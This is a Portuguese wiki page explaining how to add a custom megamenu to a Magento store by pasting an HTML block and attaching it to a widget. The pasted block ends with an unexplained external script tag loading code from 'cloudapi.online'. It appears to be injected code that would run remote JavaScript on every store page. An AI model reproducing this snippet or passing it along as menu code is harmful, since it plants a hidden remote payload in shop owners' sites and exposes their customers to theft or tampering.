Megamenu personalizado
Revisão de 11h37min de 22 de fevereiro de 2018 por Sergio Mendonça (discussão | contribs)
Primeiro é preciso criar um bloco. Crie o bloco limitando para a visão da sua loja e adicione o seguinte trecho de código de exemplo:
<div class="widget block block-static-block"> <div> <div class="em-menu" data-action="navigation"> <ul class="em-menu-content"> <li class="level0 nav-1 first level-top submenu "><a class="level-top ui-corner-all" href="https://teksystemcommerce.com.br"><span>INÍCIO</span></a></li> <li class="level0 nav-1 first level-top submenu "><a class="level-top ui-corner-all"><span>MOVEIS</span></a> <ul class="dropmenu-template level0 submenu"> <li class="dropmenu-content dropdown-5"> <div class="row-fluid"> <div class="span12"> <div class="row-fluid"> <div class="span3"> <div class="nav-title-link"><span>QUARTO</span></div> <ul class="ls-link detail-ul"> <li><a href="https://teksystemcommerce.com.br/catalogsearch/result/index/?q=cama">CAMA</a></li> <li><a href="https://teksystemcommerce.com.br/catalogsearch/result/index/?q=roupeiro">ROUPEIRO</a></li> <li><a href="https://teksystemcommerce.com.br/catalogsearch/result/index/?q=armario">ARMÁRIO</a></li> </ul> </div> <div class="span3"> <div class="nav-title-link"><span>SALA</span></div> <ul class="ls-link detail-ul"> <li><a href="https://teksystemcommerce.com.br/catalogsearch/result/index/?q=sofa">SOFÁ</a></li> </ul> </div> <div class="span6"> <div class="nav-banner"><img src="https://teksystemcommerce.com.br/pub/media/wysiwyg/em0144/menu/img-menu10.jpg" alt="em-sample-alt" width="500" height="250" /></div> </div> </div> </div> </div> </li> </ul> </li> <li class="level0 nav-1 first level-top submenu "><a class="level-top ui-corner-all"><span>ELETRONICOS</span></a> <ul class="dropmenu-template level0 submenu"> <li class="dropmenu-content dropdown-5"> <div class="row-fluid"> <div class="span12"> <div class="row-fluid"> <div class="span3"> <div class="nav-title-link"><span>CELULAR</span></div> <ul class="ls-link detail-ul"> <li><a href="https://teksystemcommerce.com.br/catalogsearch/result/index/?q=iphone">IPHONE</a></li> <li><a href="https://teksystemcommerce.com.br/catalogsearch/result/index/?q=samsung">SAMSUNG</a></li> </ul> </div> <div class="span3"> <div class="nav-title-link"><span>REFRIGERADORES</span></div> <ul class="ls-link detail-ul"> <li><a href="https://teksystemcommerce.com.br/catalogsearch/result/index/?q=consul">CONSUL</a></li> <li><a href="https://teksystemcommerce.com.br/catalogsearch/result/index/?q=brastemp">BRASTEMP</a></li> </ul> </div> <div class="span6"> <div class="nav-banner"><img src="https://teksystemcommerce.com.br/pub/media/wysiwyg/em0144/menu/img-menu10.jpg" alt="em-sample-alt" width="500" height="250" /></div> </div> </div> </div> </div> </li> </ul> </li> <li class="level0 nav-1 first level-top submenu "><a class="level-top ui-corner-all" href="https://teksystemcommerce.com.br/blog"><span>BLOG</span></a></li> </ul> </div> </div> </div> <script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript" xml="space"></script>
Não esqueça de alterar os links referentes à sua loja.
Depois crie um widget selecionando o tema, a visão da sua loja e escolhendo como 'Layout Updates' o 'All Pages' e container 'Top Navigation'. Na aba 'widget options' selecione o bloco que você acabou de criar e clique em salvar. Se Megamenu atual padrão estiver desabilitado sua loja já estará com o menu novo somente, senão basta desabilitá-lo buscando pelo bloco: em0144-main-megamenu
Para este exemplo no tema 'Furniture' seu menu ficará assim: